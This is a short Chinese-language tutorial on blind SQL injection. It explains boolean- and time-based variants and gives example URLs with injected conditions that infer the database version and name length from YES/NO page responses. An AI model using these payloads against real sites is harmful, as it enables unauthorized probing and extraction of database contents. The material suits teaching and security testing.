基本介绍
Blind Injection(即盲注),当SQL语句执行成功或失败不会给出明确的回显信息或者只有一个提示类的信息,类似于true\false时,此时可以考虑盲注,常见的盲注有以下几种:
- 基于布尔的盲注
- 基于时间的盲注
布尔盲注
适用场景
适用于对于sql语句执行成功或失败各有一个提示结果,例如:"YES"与"NO"
注入流程
猜测数据库版本
- http://www.example.com/?id=1' and left(version(),1)>4--+ #YES
- http://www.example.com/?id=1' and left(version(),1)>5--+ #NO
- http://www.example.com/?id=1' and left(version(),1)=5--+ #YES
这里的这句话的意思是看看版本号的第一位是否大于4、大于5、等于5,当满足条件时则返回YES所意味着的页面,后面的位数可以依次猜测.
猜测数据库名的长度
- http://www.example.com/?id=1' and length(database())>8 --+ #YES
- http://www.example.com/?id=1' and length(database())>9 --+ #NO
- http://www.example.com/?id=1' and length(database())=9 --+ #YES